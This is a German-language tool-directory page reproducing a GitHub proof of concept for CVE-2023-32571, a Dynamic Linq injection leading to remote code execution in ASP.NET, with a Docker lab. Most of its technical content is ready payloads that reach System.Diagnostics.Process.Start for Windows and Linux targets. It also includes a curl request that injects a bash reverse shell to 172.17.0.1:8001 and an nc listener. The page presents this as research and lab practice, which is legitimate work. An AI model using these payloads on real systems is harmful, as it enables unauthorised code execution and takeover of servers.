Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-32571-POC — Proof-of-Concept für CVE-2023-32571, der Remote-Code-Ausführung über eine Dynamic-Linq-Injection in ASP.NET-Anwendungen demonstriert. Enthält Payloads und eine Docker-Lab-Umgebung zum Testen. | Kitploit
Tools/GitHubGitHub/tris0n/cve-2023-32571-poc
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationLernen & BildungPayload-EntwicklungLabs & Praxis
GitHubtris0n/cve-2023-32571-poc

CVE-2023-32571-POC

Proof-of-Concept für CVE-2023-32571, der Remote-Code-Ausführung über eine Dynamic-Linq-Injection in ASP.NET-Anwendungen demonstriert. Enthält Payloads und eine Docker-Lab-Umgebung zum Testen.

Repository anzeigen
710vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Dynamische Linq-Injection zu RCE - CVE-2023-32571

Über Dynamic Linq-Injection zu RCE (CVE-2023-32571)

Kürzlich entdeckten Mitglieder der NCC Group eine Schwachstelle in Dynamic Linq, die es Angreifern ermöglicht, C#-Funktionen über eine Linq-Injection aufzurufen und so eine RCE zu erreichen.

Trotz des RCE-Berichts zu Dynamic Linq haben die Mitglieder der NCC Group aus irgendeinem Grund den PoC zur Ausführung von Befehlen nicht zur Verfügung gestellt.

PoC

Wie in der NCC Group-Forschung festgestellt, können wir C#-Methoden über "Invoke" aufrufen. Damit können wir "System.Diagnostics.Process.Start" aufrufen und Befehle auf dem Server ausführen.

Wir können die Methode "CreateInstanceFromAndUnwrap" verwenden, um System.Diagnostics.Process über die Assembly aufzurufen.

Payload zur Verwendung der System.AppDomain.CreateInstanceAndUnwrap-Methode:

"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First()

Payload zum Aufruf von System.Diagnostics.Process über die CreateInstanceAndUnwrap-Methode:

"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray()))

Durch Zugriff auf die Methoden der System.Diagnostics.Process-Klasse können wir die Methode System.Diagnostics.Process.Start verwenden, um Befehle auf dem System auszuführen:

"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c calc.exe".Split(";".ToCharArray()))

Anmerkung: Beachten Sie, dass der Payload nach den ersten 3 Start-Methoden sucht und die letzte nimmt. Ich habe dies getan, weil die Liste der Methoden in System.Diagnostics.Process mehrere Start-Methoden enthielt und die benötigte die dritte in der Liste ist.

Endgültiger Payload

Windows-Ziele

"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c <command-here>".Split(";".ToCharArray()))

Linux-Ziele
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "bash;-c <command-here>".Split(";".ToCharArray()))

So starten Sie das Labor, befolgen Sie die Anweisungen

Installieren Sie Docker und Docker-Compose:

Debian

sudo apt update -y && sudo apt install docker.io docker-compose -y

Arch Linux
sudo pacman -Syu && sudo pacman -S docker docker-compose

Klonen Sie dieses Repository:

git clone https://github.com/Tris0n/CVE-2023-32571-POC

Wechseln Sie in das Repository-Verzeichnis:
cd CVE-2023-32571-POC

Führen Sie Docker-Compose aus:
sudo docker-compose up --build

Die Anwendung startet unter http://localhost:8000/

Labor-Beschreibung

Wenn wir die Route "/api/products" über die POST-Methode aufrufen, sehen wir, dass sie eine Liste von Produkten zurückgibt:

curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{}' http://localhost:8000/api/products

01 pn

Indem wir den Parameter name in JSON senden, können wir Produkte filtern:

curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "nana"}' http://localhost:8000/api/products

02

Nach einigen Tests sehen wir, dass wir die Injection in die Dynamic Linq-Abfrage durchführen konnten. Durch das Senden des folgenden Payloads konnten wir eine Reverse-Shell erhalten:

curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "\") && \"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredMethods.Where(it.Name == \"CreateInstanceAndUnwrap\").First().Invoke(\"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredProperties.Where(it.name == \"CurrentDomain\").First().GetValue(null), \"System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process\".Split(\";\".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == \"Process\").First().DeclaredMethods.Where(it.name == \"Start\").Take(3).Last().Invoke(null, \"/bin/bash;-c \\\"bash -i >& /dev/tcp/172.17.0.1/8001 0>&1\\\"\".Split(\";\".ToCharArray())).GetType().ToString() == (\""}' http://localhost:8000/api/products

03

nc -lvp 8001

04

Referenzen

  • https://research.nccgroup.com/2023/06/13/dynamic-linq-injection-remote-code-execution-vulnerability-cve-2023-32571/
  • https://insinuator.net/2016/10/linq-injection-from-attacking-filters-to-code-execution/
  • https://github.com/advisories/GHSA-w65q-jcmv-28gj
Tool herunterladen